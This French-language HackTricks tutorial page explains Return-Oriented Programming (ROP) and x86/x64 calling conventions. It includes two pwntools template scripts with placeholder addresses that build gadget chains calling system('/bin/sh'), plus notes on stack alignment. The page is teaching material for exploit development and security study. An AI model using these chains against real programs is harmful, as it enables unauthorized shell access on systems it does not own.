ROP - Return Oriented Programing

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!

Autres façons de soutenir HackTricks :

Informations de Base

La Programmation Orientée Retour (ROP) est une technique d'exploitation avancée utilisée pour contourner les mesures de sécurité telles que No-Execute (NX) ou Data Execution Prevention (DEP). Au lieu d'injecter et d'exécuter du shellcode, un attaquant exploite des morceaux de code déjà présents dans le binaire ou dans les bibliothèques chargées, appelés "gadgets". Chaque gadget se termine généralement par une instruction ret et effectue une petite opération, telle que le déplacement de données entre les registres ou l'exécution d'opérations arithmétiques. En enchaînant ces gadgets, un attaquant peut construire une charge utile pour effectuer des opérations arbitraires, contournant ainsi efficacement les protections NX/DEP.

Fonctionnement de ROP

  1. Détournement du Flux de Contrôle : Tout d'abord, un attaquant doit détourner le flux de contrôle d'un programme, généralement en exploitant un dépassement de tampon pour écraser une adresse de retour sauvegardée sur la pile.

  2. Enchaînement de Gadgets : L'attaquant sélectionne soigneusement et enchaîne ensuite des gadgets pour effectuer les actions souhaitées. Cela pourrait impliquer la configuration des arguments pour un appel de fonction, l'appel de la fonction (par exemple, system("/bin/sh")), et la gestion de toute opération de nettoyage ou supplémentaire nécessaire.

  3. Exécution de la Charge Utile : Lorsque la fonction vulnérable retourne, au lieu de retourner à un emplacement légitime, elle commence à exécuter la chaîne de gadgets.

Chaîne ROP dans un Exemple x86

Conventions d'Appel x86 (32 bits)

  • cdecl : L'appelant nettoie la pile. Les arguments de fonction sont poussés sur la pile dans l'ordre inverse (de droite à gauche). Les arguments sont poussés sur la pile de droite à gauche.

  • stdcall : Similaire à cdecl, mais c'est le destinataire qui nettoie la pile.

Recherche de Gadgets

Tout d'abord, supposons que nous avons identifié les gadgets nécessaires dans le binaire ou ses bibliothèques chargées. Les gadgets qui nous intéressent sont :

  • pop eax; ret : Ce gadget dépile la valeur supérieure de la pile dans le registre EAX puis retourne, nous permettant de contrôler EAX.

  • pop ebx; ret : Similaire au précédent, mais pour le registre EBX, permettant de contrôler EBX.

  • mov [ebx], eax; ret : Déplace la valeur dans EAX vers l'emplacement mémoire pointé par EBX puis retourne.

  • De plus, nous avons l'adresse de la fonction system() disponible.

Chaîne ROP

En utilisant pwntools, nous préparons la pile pour l'exécution de la chaîne ROP comme suit en visant à exécuter system('/bin/sh'), notez comment la chaîne commence par :

  1. Une instruction ret à des fins d'alignement (optionnel)

  2. Adresse de la fonction system (en supposant que ASLR est désactivé et que la libc est connue, plus d'informations dans Ret2lib)

  3. Placeholder pour l'adresse de retour de system()

  4. Adresse de la chaîne "/bin/sh" (paramètre pour la fonction system)

from pwn import *

# Assuming we have the binary's ELF and its process
binary = context.binary = ELF('your_binary_here')
p = process(binary.path)

# Find the address of the string "/bin/sh" in the binary
bin_sh_addr = next(binary.search(b'/bin/sh\x00'))

# Address of system() function (hypothetical value)
system_addr = 0xdeadcode

# A gadget to control the return address, typically found through analysis
ret_gadget = 0xcafebabe  # This could be any gadget that allows us to control the return address

# Construct the ROP chain
rop_chain = [
ret_gadget,    # This gadget is used to align the stack if necessary, especially to bypass stack alignment issues
system_addr,   # Address of system(). Execution will continue here after the ret gadget
0x41414141,    # Placeholder for system()'s return address. This could be the address of exit() or another safe place.
bin_sh_addr    # Address of "/bin/sh" string goes here, as the argument to system()
]

# Flatten the rop_chain for use
rop_chain = b''.join(p32(addr) for addr in rop_chain)

# Send ROP chain
## offset is the number of bytes required to reach the return address on the stack
payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()

Exemple de chaîne ROP en x64

Conventions d'appel x64 (64 bits)

  • Utilise la convention d'appel System V AMD64 ABI sur les systèmes de type Unix, où les six premiers arguments entiers ou pointeurs sont passés dans les registres RDI, RSI, RDX, RCX, R8 et R9. Les arguments supplémentaires sont passés sur la pile. La valeur de retour est placée dans RAX.

  • La convention d'appel Windows x64 utilise RCX, RDX, R8 et R9 pour les quatre premiers arguments entiers ou pointeurs, les arguments supplémentaires étant passés sur la pile. La valeur de retour est placée dans RAX.

  • Registres: Les registres 64 bits incluent RAX, RBX, RCX, RDX, RSI, RDI, RBP, RSP et R8 à R15.

Recherche de gadgets

Pour notre objectif, concentrons-nous sur les gadgets qui nous permettront de définir le registre RDI (pour passer la chaîne "/bin/sh" en argument à system()) puis d'appeler la fonction system(). Supposons que nous avons identifié les gadgets suivants :

  • pop rdi; ret : Dépile la valeur supérieure de la pile dans RDI puis retourne. Essentiel pour définir notre argument pour system().

  • ret : Un simple retour, utile pour l'alignement de la pile dans certains scénarios.

Et nous connaissons l'adresse de la fonction system().

Chaîne ROP

Voici un exemple utilisant pwntools pour configurer et exécuter une chaîne ROP visant à exécuter system('/bin/sh') sur x64 :

pythonCopy codefrom pwn import *

# Assuming we have the binary's ELF and its process
binary = context.binary = ELF('your_binary_here')
p = process(binary.path)

# Find the address of the string "/bin/sh" in the binary
bin_sh_addr = next(binary.search(b'/bin/sh\x00'))

# Address of system() function (hypothetical value)
system_addr = 0xdeadbeefdeadbeef

# Gadgets (hypothetical values)
pop_rdi_gadget = 0xcafebabecafebabe  # pop rdi; ret
ret_gadget = 0xdeadbeefdeadbead     # ret gadget for alignment, if necessary

# Construct the ROP chain
rop_chain = [
ret_gadget,        # Alignment gadget, if needed
pop_rdi_gadget,    # pop rdi; ret
bin_sh_addr,       # Address of "/bin/sh" string goes here, as the argument to system()
system_addr        # Address of system(). Execution will continue here.
]

# Flatten the rop_chain for use
rop_chain = b''.join(p64(addr) for addr in rop_chain)

# Send ROP chain
## offset is the number of bytes required to reach the return address on the stack
payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()

Dans cet exemple :

  • Nous utilisons le gadget pop rdi; ret pour définir RDI sur l'adresse de "/bin/sh".

  • Nous sautons directement à system() après avoir défini RDI, avec l'adresse de system() dans la chaîne.

  • Le gadget ret_gadget est utilisé pour l'alignement si l'environnement cible le nécessite, ce qui est plus courant en x64 pour assurer un alignement correct de la pile avant d'appeler des fonctions.

Alignement de la pile

L'ABI x86-64 garantit que la pile est alignée sur 16 octets lorsqu'une instruction call est exécutée. LIBC, pour optimiser les performances, utilise des instructions SSE (comme movaps) qui nécessitent cet alignement. Si la pile n'est pas correctement alignée (c'est-à-dire si RSP n'est pas un multiple de 16), les appels à des fonctions comme system échoueront dans une chaîne ROP. Pour corriger cela, ajoutez simplement un gadget ret avant d'appeler system dans votre chaîne ROP.

Différence principale entre x86 et x64

Étant donné que x64 utilise des registres pour les premiers arguments, il nécessite souvent moins de gadgets que x86 pour des appels de fonction simples, mais trouver et chaîner les bons gadgets peut être plus complexe en raison du nombre accru de registres et de l'espace d'adressage plus grand. Le nombre accru de registres et l'espace d'adressage plus grand dans l'architecture x64 offrent à la fois des opportunités et des défis pour le développement d'exploits, en particulier dans le contexte de la Programmation Orientée Retour (ROP).

Protections

Autres exemples et références

Techniques basées sur ROP

Remarquez que ROP est juste une technique pour exécuter du code arbitraire. Basé sur ROP, de nombreuses techniques Ret2XXX ont été développées :

  • Ret2lib : Utilise ROP pour appeler des fonctions arbitraires à partir d'une bibliothèque chargée avec des paramètres arbitraires (généralement quelque chose comme system('/bin/sh').

pageRet2lib
  • Ret2Syscall : Utilise ROP pour préparer un appel à un syscall, par exemple execve, et lui faire exécuter des commandes arbitraires.

pageRet2syscall
  • EBP2Ret & EBP Chaining : Le premier abuse de EBP au lieu de EIP pour contrôler le flux et le second est similaire à Ret2lib mais dans ce cas, le flux est principalement contrôlé avec les adresses EBP (bien qu'il soit également nécessaire de contrôler EIP).

pageStack Pivoting - EBP2Ret - EBP chaining

Dernière mise à jour